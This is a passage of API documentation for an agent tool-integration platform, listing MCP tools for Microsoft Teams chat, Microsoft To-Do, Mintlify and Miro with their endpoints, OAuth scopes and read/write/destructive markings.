— Send a message in a Teams chat. POST /api/v1/tools/microsoft/chat/chats/{chat_id}/messages. Scopes: Chat.ReadWrite. microsoft_chat_unpin_message (write) — Unpin a message from a Teams chat. Requires Chat.ReadWrite. DELETE /api/v1/tools/microsoft/chat/chats/{chat_id}/pinned-messages/{pinned_message_id}. Scopes: Chat.ReadWrite. microsoft_chat_update_chat_message (write, destructive) — Edit a sent message in a Teams chat. Requires Chat.ReadWrite. PATCH /api/v1/tools/microsoft/chat/chats/{chat_id}/messages/{message_id}. Scopes: Chat.ReadWrite. ================================================================================ ## Microsoft To-Do URL: https://www.agenticfabriq.com/docs/tools-ms-todo Section: Integrated Tools Microsoft To-Do — 22 MCP tools Provider key: microsoft_todo. Scopes: Tasks.Read, Tasks.Read.Shared, Tasks.ReadWrite, Tasks.ReadWrite.Shared. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. microsoft_todo_add_task_attachment (write, destructive) — Attach a file (max 3 MB, base64-encoded) to a To-Do task. POST /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}/attachments. Scopes: Tasks.ReadWrite. microsoft_todo_add_task_checklist_item (write, destructive) — Add a checklist item (sub-task) to a To-Do task. POST /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}/checklist. Scopes: Tasks.ReadWrite. microsoft_todo_complete_task (write) — Mark a To-Do task as completed. POST /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}/complete. Scopes: Tasks.ReadWrite. microsoft_todo_create_shared_task (write, destructive) — Create a task in a shared To-Do list. Requires Tasks.ReadWrite.Shared (grants write access to task lists shared by other users). POST /api/v1/tools/microsoft/todo/shared/lists/{list_id}/tasks. Scopes: Tasks.ReadWrite.Shared. microsoft_todo_create_task (write, destructive) — Create a new task in a Microsoft To-Do list. POST /api/v1/tools/microsoft/todo/lists/{list_id}/tasks. Scopes: Tasks.ReadWrite. microsoft_todo_create_task_list (write, destructive) — Create a new Microsoft To-Do task list. POST /api/v1/tools/microsoft/todo/lists. Scopes: Tasks.ReadWrite. microsoft_todo_delete_shared_task (write, destructive) — Delete a task from a shared To-Do list. Requires Tasks.ReadWrite.Shared (grants delete access to tasks in lists shared by other users). DELETE /api/v1/tools/microsoft/todo/shared/lists/{list_id}/tasks/{task_id}. Scopes: Tasks.ReadWrite.Shared. microsoft_todo_delete_task (write, destructive) — Delete a task from a Microsoft To-Do list. DELETE /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}. Scopes: Tasks.ReadWrite. microsoft_todo_delete_task_attachment (write, destructive) — Delete an attachment from a To-Do task. DELETE /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}/attachments/{attachment_id}. Scopes: Tasks.ReadWrite. microsoft_todo_delete_task_checklist_item (write, destructive) — Delete a checklist item from a To-Do task. DELETE /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}/checklist/{item_id}. Scopes: Tasks.ReadWrite. microsoft_todo_delete_task_list (write, destructive) — Delete a Microsoft To-Do task list and all tasks within it. DELETE /api/v1/tools/microsoft/todo/lists/{list_id}. Scopes: Tasks.ReadWrite. microsoft_todo_get_task (read) — Get a specific To-Do task. GET /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}. Scopes: Tasks.Read. microsoft_todo_list_shared_task_lists (read) — List To-Do task lists shared with the user by others. Requires Tasks.Read.Shared (grants access to task lists that others have explicitly shared with this user). GET /api/v1/tools/microsoft/todo/shared/lists. Scopes: Tasks.Read.Shared. microsoft_todo_list_shared_tasks (read) — List tasks in a shared To-Do list. Requires Tasks.Read.Shared (grants read access to tasks in lists shared by other users). GET /api/v1/tools/microsoft/todo/shared/lists/{list_id}/tasks. Scopes: Tasks.Read.Shared. microsoft_todo_list_task_attachments (read) — List all attachments on a To-Do task. GET /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}/attachments. Scopes: Tasks.Read. microsoft_todo_list_task_lists (read) — List the user's Microsoft To-Do task lists. GET /api/v1/tools/microsoft/todo/lists. Scopes: Tasks.Read. microsoft_todo_list_tasks (read) — List tasks in a Microsoft To-Do list. GET /api/v1/tools/microsoft/todo/lists/{list_id}/tasks. Scopes: Tasks.Read. microsoft_todo_reopen_task (write) — Reopen a completed To-Do task (reset status to notStarted). POST /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}/reopen. Scopes: Tasks.ReadWrite. microsoft_todo_update_shared_task (write, destructive) — Update a task in a shared To-Do list. Requires Tasks.ReadWrite.Shared (grants write access to tasks in lists shared by other users). PATCH /api/v1/tools/microsoft/todo/shared/lists/{list_id}/tasks/{task_id}. Scopes: Tasks.ReadWrite.Shared. microsoft_todo_update_task (write, destructive) — Update a To-Do task. PATCH /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}. Scopes: Tasks.ReadWrite. microsoft_todo_update_task_checklist_item (write) — Update a checklist item on a To-Do task (rename or check/uncheck). PATCH /api/v1/tools/microsoft/todo/lists/{list_id}/tasks/{task_id}/checklist/{item_id}. Scopes: Tasks.ReadWrite. microsoft_todo_update_task_list (write, destructive) — Rename a Microsoft To-Do task list. PATCH /api/v1/tools/microsoft/todo/lists/{list_id}. Scopes: Tasks.ReadWrite. ================================================================================ ## Mintlify URL: https://www.agenticfabriq.com/integrations/mintlify Section: Integrated Tools Mintlify — 24 MCP tools Provider key: mintlify. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mintlify_get_project_update_status_by_statusid (read) — Get a deployment update status via GET https://api.mintlify.com/v1/project/update-status/{statusId}. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/project/update-status/{statusId}. Scopes: api. mintlify_get_static_export_by_projectid_jobs_by_jobid (read) — Get a static export job via GET https://api.mintlify.com/v1/static-export/{projectId}/jobs/{jobId}. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/static-export/{projectId}/jobs/{jobId}. Scopes: api. mintlify_get_v1_analytics_by_projectid_assistant (read) — List assistant conversations via GET https://api.mintlify.com/v1/analytics/{projectId}/assistant. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/v1/analytics/{projectId}/assistant. Scopes: api. mintlify_get_v1_analytics_by_projectid_assistant_caller_stats (read) — Get assistant caller statistics via GET https://api.mintlify.com/v1/analytics/{projectId}/assistant/caller-stats. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/v1/analytics/{projectId}/assistant/caller-stats. Scopes: api. mintlify_get_v1_analytics_by_projectid_assistant_threads_by_threadid (read) — Get an assistant conversation thread via GET https://api.mintlify.com/v1/analytics/{projectId}/assistant/threads/{threadId}. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/v1/analytics/{projectId}/assistant/threads/{threadId}. Scopes: api. mintlify_get_v1_analytics_by_projectid_feedback (read) — List feedback entries via GET https://api.mintlify.com/v1/analytics/{projectId}/feedback. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/v1/analytics/{projectId}/feedback. Scopes: api. mintlify_get_v1_analytics_by_projectid_feedback_by_page (read) — Get feedback totals by page via GET https://api.mintlify.com/v1/analytics/{projectId}/feedback/by-page. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/v1/analytics/{projectId}/feedback/by-page. Scopes: api. mintlify_get_v1_analytics_by_projectid_searches (read) — List search queries via GET https://api.mintlify.com/v1/analytics/{projectId}/searches. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/v1/analytics/{projectId}/searches. Scopes: api. mintlify_get_v1_analytics_by_projectid_views (read) — Get page view counts via GET https://api.mintlify.com/v1/analytics/{projectId}/views. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/v1/analytics/{projectId}/views. Scopes: api. mintlify_get_v1_analytics_by_projectid_visitors (read) — Get visitor counts via GET https://api.mintlify.com/v1/analytics/{projectId}/visitors. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/v1/analytics/{projectId}/visitors. Scopes: api. mintlify_get_v2_agent_by_projectid_job_by_id (read) — Get an agent job via GET https://api.mintlify.com/v2/agent/{projectId}/job/{id}. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). GET /api/v1/mintlify/v2/agent/{projectId}/job/{id}. Scopes: api. mintlify_post_project_preview_by_projectid (write) — Create a preview deployment via POST https://api.mintlify.com/v1/project/preview/{projectId}. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). Deploys the named Git branch to a preview URL. Answers 202 with a previewUrl and a statusId; poll the statusId with the update-status tool. POST /api/v1/mintlify/project/preview/{projectId}. Scopes: api. mintlify_post_project_update_by_projectid (write) — Trigger a documentation update via POST https://api.mintlify.com/v1/project/update/{projectId}. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). PUBLISHES: this triggers a real documentation update for the project, which changes what visitors see. It answers 202 with a statusId; poll it with the update-status tool. POST /api/v1/mintlify/project/update/{projectId}. Scopes: api. mintlify_post_static_export_by_projectid_jobs (write) — Start a static export job via POST https://api.mintlify.com/v1/static-export/{projectId}/jobs. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). Answers 409 when an export for this project is already running and 429 when the export rate limit is reached -- both are provider limits, not call errors. POST /api/v1/mintlify/static-export/{projectId}/jobs. Scopes: api. mintlify_post_v1_contents (write) — Get Mintlify Index result contents via POST https://leaves.mintlify.com/api/universal-search/v1/contents. Needs the MINTLIFY INDEX API KEY (https://app.mintlify.com/settings/organization/api-keys). Supply at least one of `ids` or `urls` in the body, up to 20 items in total; the schema states the rule as an anyOf and Mintlify answers 400 when neither is present. `ids` are values returned by the Index search tool. POST /api/v1/mintlify/v1/contents. Scopes: api. mintlify_post_v1_context (write) — Build Mintlify Index context via POST https://leaves.mintlify.com/api/universal-search/v1/context. Needs the MINTLIFY INDEX API KEY (https://app.mintlify.com/settings/organization/api-keys). POST /api/v1/mintlify/v1/context. Scopes: api. mintlify_post_v1_page_by_domain (write) — Get documentation page content via POST https://api.mintlify.com/discovery/v1/page/{domain}. Needs the Mintlify ASSISTANT API KEY (https://app.mintlify.com/settings/organization/api-keys). `path` is the value the search tool returns for a result, not a URL. On a deployment using `auth` or `userAuth`, pass the caller's authorized `groups` or only public pages are returned. POST /api/v1/mintlify/v1/page/{domain}. Scopes: api. mintlify_post_v1_search (write) — Search the Mintlify Index via POST https://leaves.mintlify.com/api/universal-search/v1/search. Needs the MINTLIFY INDEX API KEY (https://app.mintlify.com/settings/organization/api-keys). POST /api/v1/mintlify/v1/search. Scopes: api. mintlify_post_v1_search_by_domain (write) — Search documentation via POST https://api.mintlify.com/discovery/v1/search/{domain}. Needs the Mintlify ASSISTANT API KEY (https://app.mintlify.com/settings/organization/api-keys). Searches ONE documentation deployment, named by the `domain` path argument. For search across the whole Mintlify Index use the Index search tool, which needs the Index API key instead. POST /api/v1/mintlify/v1/search/{domain}. Scopes: api. mintlify_post_v2_agent_by_projectid_job (write) — Create an agent job via POST https://api.mintlify.com/v2/agent/{projectId}/job. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). Starts an agent job that acts on the project's documentation. Answers 201 with a job id; read it back with the get-agent-job tool. Mintlify answers 429 when the project's agent concurrency is exhausted. POST /api/v1/mintlify/v2/agent/{projectId}/job. Scopes: api. mintlify_post_v2_agent_by_projectid_job_by_id_message (write) — Send a follow-up message to an agent job via POST https://api.mintlify.com/v2/agent/{projectId}/job/{id}/message. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). POST /api/v1/mintlify/v2/agent/{projectId}/job/{id}/message. Scopes: api. mintlify_post_v2_assistant_by_domain_message (write) — Send an assistant message via POST https://api.mintlify.com/discovery/v2/assistant/{domain}/message. Needs the Mintlify ASSISTANT API KEY (https://app.mintlify.com/settings/organization/api-keys). POST /api/v1/mintlify/v2/assistant/{domain}/message. Scopes: api. mintlify_post_v2_workflow_by_projectid_by_workflowschemaid_webhook (write) — Trigger an automation webhook via POST https://api.mintlify.com/v2/workflow/{projectId}/{workflowSchemaId}/webhook. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). Answers 402 when the organization's plan does not include automations and 503 when the automation runner is unavailable -- both are provider conditions rather than a bad request. POST /api/v1/mintlify/v2/workflow/{projectId}/{workflowSchemaId}/webhook. Scopes: api. mintlify_post_workflow_by_projectid_by_workflowschemaid_trigger (write) — Trigger an automation via POST https://api.mintlify.com/v1/workflow/{projectId}/{workflowSchemaId}/trigger. Needs the Mintlify ADMIN API KEY (https://app.mintlify.com/settings/organization/api-keys). POST /api/v1/mintlify/workflow/{projectId}/{workflowSchemaId}/trigger. Scopes: api. ================================================================================ ## Miro URL: https://www.agenticfabriq.com/integrations/miro Section: Integrated Tools Miro — 176 MCP tools Provider key: miro. Scopes: aiinteractionlogs:read, auditlogs:read, boards:export, boards:read, boards:write, contentlogs:export, organization:cases:management, organizations:groups:read, organizations:groups:write, organizations:read, organizations:teams:read, organizations:teams:write, projects:read, projects:write, sessions:delete. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. miro_delete_v2_boards_by_board_id (write, destructive) — Delete board via DELETE /v2/boards/{board_id} DELETE /api/v1/miro/v2/boards/{board_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_app_cards_by_item_id (write, destructive) — Delete app card item via DELETE /v2/boards/{board_id}/app_cards/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/app_cards/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_cards_by_item_id (write, destructive) — Delete card item via DELETE /v2/boards/{board_id}/cards/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/cards/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_connectors_by_connector_id (write, destructive) — Delete connector via DELETE /v2/boards/{board_id}/connectors/{connector_id} DELETE /api/v1/miro/v2/boards/{board_id}/connectors/{connector_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_docs_by_item_id (write, destructive) — Delete doc format item via DELETE /v2/boards/{board_id}/docs/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/docs/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_documents_by_item_id (write, destructive) — Delete document item via DELETE /v2/boards/{board_id}/documents/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/documents/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_embeds_by_item_id (write, destructive) — Delete embed item via DELETE /v2/boards/{board_id}/embeds/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/embeds/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_frames_by_item_id (write, destructive) — Delete frame item via DELETE /v2/boards/{board_id}/frames/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/frames/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_groups_by_group_id (write, destructive) — Ungroup items, or delete the whole group -- delete_items=true also deletes the grouped items DELETE /api/v1/miro/v2/boards/{board_id}/groups/{group_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_images_by_item_id (write, destructive) — Delete image item via DELETE /v2/boards/{board_id}/images/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/images/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_items_by_item_id (write, destructive) — Delete item via DELETE /v2/boards/{board_id}/items/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/items/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_members_by_board_member_id (write, destructive) — Remove board member via DELETE /v2/boards/{board_id}/members/{board_member_id} DELETE /api/v1/miro/v2/boards/{board_id}/members/{board_member_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_platformtags_items_by_item_id (write, destructive) — Remove tag from item via DELETE /v2/boards/{board_id_PlatformTags}/items/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/items/{item_id}/tags. Scopes: boards:write. miro_delete_v2_boards_by_board_id_shapes_by_item_id (write, destructive) — Delete shape item via DELETE /v2/boards/{board_id}/shapes/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/shapes/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_sticky_notes_by_item_id (write, destructive) — Delete sticky note item via DELETE /v2/boards/{board_id}/sticky_notes/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/sticky_notes/{item_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_tags_by_tag_id (write, destructive) — Delete tag via DELETE /v2/boards/{board_id}/tags/{tag_id} DELETE /api/v1/miro/v2/boards/{board_id}/tags/{tag_id}. Scopes: boards:write. miro_delete_v2_boards_by_board_id_texts_by_item_id (write, destructive) — Delete text item via DELETE /v2/boards/{board_id}/texts/{item_id} DELETE /api/v1/miro/v2/boards/{board_id}/texts/{item_id}. Scopes: boards:write. miro_delete_v2_experimental_boards_by_board_id_code_widgets_by_item_id (write, destructive) — Delete code widget item via DELETE /v2-experimental/boards/{board_id}/code_widgets/{item_id} DELETE /api/v1/miro/v2-experimental/boards/{board_id}/code_widgets/{item_id}. Scopes: boards:write. miro_delete_v2_experimental_boards_by_board_id_items_by_item_id (write, destructive) — Delete item experimental via DELETE /v2-experimental/boards/{board_id}/items/{item_id} DELETE /api/v1/miro/v2-experimental/boards/{board_id}/items/{item_id}. Scopes: boards:write. miro_delete_v2_experimental_boards_by_board_id_mindmap_nodes_by_item_id (write, destructive) — Delete mindmap node experimental via DELETE /v2-experimental/boards/{board_id}/mindmap_nodes/{item_id} DELETE /api/v1/miro/v2-experimental/boards/{board_id}/mindmap_nodes/{item_id}. Scopes: boards:write. miro_delete_v2_experimental_boards_by_board_id_shapes_by_item_id (write, destructive) — Delete shape item flowchart via DELETE /v2-experimental/boards/{board_id}/shapes/{item_id} DELETE /api/v1/miro/v2-experimental/boards/{board_id}/shapes/{item_id}. Scopes: boards:write. miro_delete_v2_orgs_by_org_id_boards_by_board_id_groups_by_group_id (write, destructive) — Enterprise boards delete groups via DELETE /v2/orgs/{org_id}/boards/{board_id}/groups/{group_id} DELETE /api/v1/miro/v2/orgs/{org_id}/boards/{board_id}/groups/{group_id}. Scopes: organizations:groups:read. miro_delete_v2_orgs_by_org_id_cases_by_case_id (write, destructive) — Delete case via DELETE /v2/orgs/{org_id}/cases/{case_id} DELETE /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}. Scopes: organization:cases:management. miro_delete_v2_orgs_by_org_id_cases_by_case_id_legal_holds_by_legal_hold_id (write, destructive) — Delete legal hold via DELETE /v2/orgs/{org_id}/cases/{case_id}/legal-holds/{legal_hold_id} DELETE /api/v1/miro/v2/orgs/{org_id}/cases/{case_id}/legal-holds/{legal_hold_id}. Scopes: organization:cases:management. miro_delete_v2_orgs_by_org_id_groups_by_group_id (write, destructive) — Enterprise delete group via DELETE /v2/orgs/{org_id}/groups/{group_id} DELETE /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}. Scopes: organizations:groups:write. miro_delete_v2_orgs_by_org_id_groups_by_group_id_members_by_member_id (write, destructive) — Enterprise delete group member via DELETE /v2/orgs/{org_id}/groups/{group_id}/members/{member_id} DELETE /api/v1/miro/v2/orgs/{org_id}/groups/{group_id}/members/{member_id}. Scopes: organizations:groups:write. miro_delete_v2_orgs_by_org_id_projects_by_project_id_groups_by_group_id (write, destructive) — Enterprise project delete groups via DELETE /v2/orgs/{org_id}/projects/{project_id}/groups/{group_id} DELETE /api/v1/miro/v2/orgs/{org_id}/projects/{project_id}/groups/{group_id}. Scopes: organizations:groups:read. miro_delete_v2_orgs_by_org_id_teams_by_team_id (write, destructive) — Enterprise delete team via DELETE /v2/orgs/{org_id}/teams/{team_id} DELETE /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}. Scopes: organizations:teams:write. miro_delete_v2_orgs_by_org_id_teams_by_team_id_groups_by_group_id (write, destructive) — Enterprise teams delete group via DELETE /v2/orgs/{org_id}/teams/{team_id}/groups/{group_id} DELETE /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/groups/{group_id}. Scopes: organizations:groups:read. miro_delete_v2_orgs_by_org_id_teams_by_team_id_members_by_member_id (write, destructive) — Enterprise delete team member via DELETE /v2/orgs/{org_id}/teams/{team_id}/members/{member_id} DELETE /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/members/{member_id}. Scopes: organizations:teams:write. miro_delete_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id (write, destructive) — Enterprise delete project via DELETE /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id} DELETE /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}. Scopes: projects:write. miro_delete_v2_orgs_by_org_id_teams_by_team_id_projects_by_project_id_members_by_member_id (write, destructive) — Enterprise delete project member via DELETE /v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members/{member_id} DELETE /api/v1/miro/v2/orgs/{org_id}/teams/{team_id}/projects/{project_id}/members/{member_id}. Scopes: projects:write. miro_get_v1_oauth_token (read) — Token info via GET /v1/oauth-token GET /api/v1/miro/v1/oauth-token. Scopes: none. miro_get_v2_audit_logs (read) — Enterprise get audit logs via GET /v2/audit/logs GET /api/v1/miro/v2/audit/logs. Scopes: auditlogs:read. miro_get_v2_boards (read) — Get boards via GET /v2/boards GET /api/v1/miro/v2/boards. Scopes: boards:read. miro_get_v2_boards_by_board_id (read) — Get specific board via GET /v2/boards/{board_id} GET /api/v1/miro/v2/boards/{board_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_app_cards_by_item_id (read) — Get app card item via GET /v2/boards/{board_id}/app_cards/{item_id} GET /api/v1/miro/v2/boards/{board_id}/app_cards/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_cards_by_item_id (read) — Get card item via GET /v2/boards/{board_id}/cards/{item_id} GET /api/v1/miro/v2/boards/{board_id}/cards/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_connectors (read) — Get connectors via GET /v2/boards/{board_id}/connectors GET /api/v1/miro/v2/boards/{board_id}/connectors. Scopes: boards:read. miro_get_v2_boards_by_board_id_connectors_by_connector_id (read) — Get connector via GET /v2/boards/{board_id}/connectors/{connector_id} GET /api/v1/miro/v2/boards/{board_id}/connectors/{connector_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_docs_by_item_id (read) — Get doc format item via GET /v2/boards/{board_id}/docs/{item_id} GET /api/v1/miro/v2/boards/{board_id}/docs/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_documents_by_item_id (read) — Get document item via GET /v2/boards/{board_id}/documents/{item_id} GET /api/v1/miro/v2/boards/{board_id}/documents/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_embeds_by_item_id (read) — Get embed item via GET /v2/boards/{board_id}/embeds/{item_id} GET /api/v1/miro/v2/boards/{board_id}/embeds/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_frames_by_item_id (read) — Get frame item via GET /v2/boards/{board_id}/frames/{item_id} GET /api/v1/miro/v2/boards/{board_id}/frames/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_groups (read) — Get all groups via GET /v2/boards/{board_id}/groups GET /api/v1/miro/v2/boards/{board_id}/groups. Scopes: boards:read. miro_get_v2_boards_by_board_id_groups_by_group_id (read) — Get group by id via GET /v2/boards/{board_id}/groups/{group_id} GET /api/v1/miro/v2/boards/{board_id}/groups/{group_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_groups_items (read) — Get items by group id via GET /v2/boards/{board_id}/groups/items GET /api/v1/miro/v2/boards/{board_id}/groups/items. Scopes: boards:read. miro_get_v2_boards_by_board_id_images_by_item_id (read) — Get image item via GET /v2/boards/{board_id}/images/{item_id} GET /api/v1/miro/v2/boards/{board_id}/images/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_items (read) — Get items via GET /v2/boards/{board_id}/items GET /api/v1/miro/v2/boards/{board_id}/items. Scopes: boards:read. miro_get_v2_boards_by_board_id_items_by_item_id (read) — Get specific item via GET /v2/boards/{board_id}/items/{item_id} GET /api/v1/miro/v2/boards/{board_id}/items/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_items_by_item_id_tags (read) — Get tags from item via GET /v2/boards/{board_id}/items/{item_id}/tags GET /api/v1/miro/v2/boards/{board_id}/items/{item_id}/tags. Scopes: boards:read. miro_get_v2_boards_by_board_id_members (read) — Get board members via GET /v2/boards/{board_id}/members GET /api/v1/miro/v2/boards/{board_id}/members. Scopes: boards:read. miro_get_v2_boards_by_board_id_members_by_board_member_id (read) — Get specific board member via GET /v2/boards/{board_id}/members/{board_member_id} GET /api/v1/miro/v2/boards/{board_id}/members/{board_member_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_platformcontainers_items (read) — Get items within frame via GET /v2/boards/{board_id_PlatformContainers}/items GET /api/v1/miro/v2/boards/{board_id}/items_within_frame. Scopes: boards:read. miro_get_v2_boards_by_board_id_platformtags_items (read) — Get items by tag via GET /v2/boards/{board_id_PlatformTags}/items GET /api/v1/miro/v2/boards/{board_id}/items_by_tag. Scopes: boards:read. miro_get_v2_boards_by_board_id_shapes_by_item_id (read) — Get shape item via GET /v2/boards/{board_id}/shapes/{item_id} GET /api/v1/miro/v2/boards/{board_id}/shapes/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_sticky_notes_by_item_id (read) — Get sticky note item via GET /v2/boards/{board_id}/sticky_notes/{item_id} GET /api/v1/miro/v2/boards/{board_id}/sticky_notes/{item_id}. Scopes: boards:read. miro_get_v2_boards_by_board_id_tags (read) — Get tags from board via GET /v2/boards/{board_id}/tags GET /api/v1/miro/v2/boards/{board_id}/tags. Scopes: boards:read. miro_get_v2_boards_by_board_id_tags_by_tag_id (read) — Get tag via GET /v2/boards/{board_id}/tags/{tag_id} GET /api/v1/miro/v2/boards/{board_id}/tags/{tag_id}. Scopes: boards:write. miro_get_v2_boards_by_board_id_texts_by_item_id (read) — Get text item via GET /v2/boards/{board_id}/texts/{item_id} GET /api/v1/miro/v2/boards/{board_id}/texts/{item_id}. Scopes: boards:read. miro_get_v2_experimental_apps_by_app_id_metrics (read) — Get metrics via GET /v2-experimental/apps/{app_id}/metrics GET /api/v1/miro/v2-experimental/apps/{app_id}/metrics. Scopes: boards:read. miro_get_v2_experimental_apps_by_app_id_metrics_total (read) — Get metrics total via GET /v2-experimental/apps/{app_id}/metrics-total GET /api/v1/miro/v2-experimental/apps/{app_id}/metrics-total. Scopes: boards:read. miro_get_v2_experimental_boards_by_board_id_code_widgets (read) — Get code widget items via GET /v2-experimental/boards/{board_id}/code_widgets GET /api/v1/miro/v2-experimental/boards/{board_id}/code_widgets. Scopes: boards:read. miro_get_v2_experimental_boards_by_board_id_code_widgets_by_item_id (read) — Get code widget item via GET /v2-experimental/boards/{board_id}/code_widgets/{item_id} GET /api/v1/miro/v2-experimental/boards/{board_id}/code_widgets/{item_id}. Scopes: boards:read. miro_get_v2_experimental_boards_by_board_id_items (read) — Get items experimental via GET /v2-experimental/boards/{board_id}/items GET /api/v1/miro/v2-experimental/boards/{board_id}/items. Scopes: boards:read. miro_get_v2_experimental_boards_by_board_id_items_by_item_id (read) — Get specific item experimental via GET /v2-experimental/boards/{board_id}/items/{item_id} GET /api/v1/miro/v2-experimental/boards/{board_id}/items/{item_id}. Scopes: boards:read. miro_get_v2_experimental_boards_by_board_id_mindmap_nodes (read) — Get mindmap nodes experimental via GET /v2-experimental/boards/{board_id}/mindmap_nodes GET /api/v1/miro/v2-experimental/boards/{board_id}/mindmap_nodes. Scopes: boards:read. miro_get_v2_experimental_boards_by_board_id_mindmap_nodes_by_item_id (read) — Get 